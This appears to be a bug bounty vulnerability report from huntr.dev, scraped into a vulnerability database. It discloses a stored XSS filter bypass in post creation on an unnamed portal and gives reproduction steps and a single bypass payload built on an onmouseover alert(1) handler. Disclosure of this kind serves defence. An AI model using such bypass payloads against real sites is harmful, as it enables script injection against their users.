Lucene search

K
huntrXo19doCD8765A2-BF28-4019-8647-882CCF63B2BE
HistoryDec 30, 2022 - 9:18 a.m.

Bypass Stored XSS while creating a new post

2022-12-3009:18:55
xo19do
www.huntr.dev
16
stored xss
post creation
portal login
proof of concept
bypass payload
bug bounty

0.001 Low

EPSS

Percentile

34.3%

Description

After login to portal create a new post and type the following text with XSS payload

bypass of this fix

Proof of Concept

Login to portal.
create a post with xss paylaod
save it
POC:  https://drive.google.com/file/d/1WkQpGyQGKBS-9To5mlud_qkkL7VOp9Au/view?usp=share_link

Bypass Payload

/*/**&lt;input type="text" value=`` &lt;div/onmouseover='alert(1)'&gt;X</div>**/*/*

alt text

0.001 Low

EPSS

Percentile

34.3%

Related for CD8765A2-BF28-4019-8647-882CCF63B2BE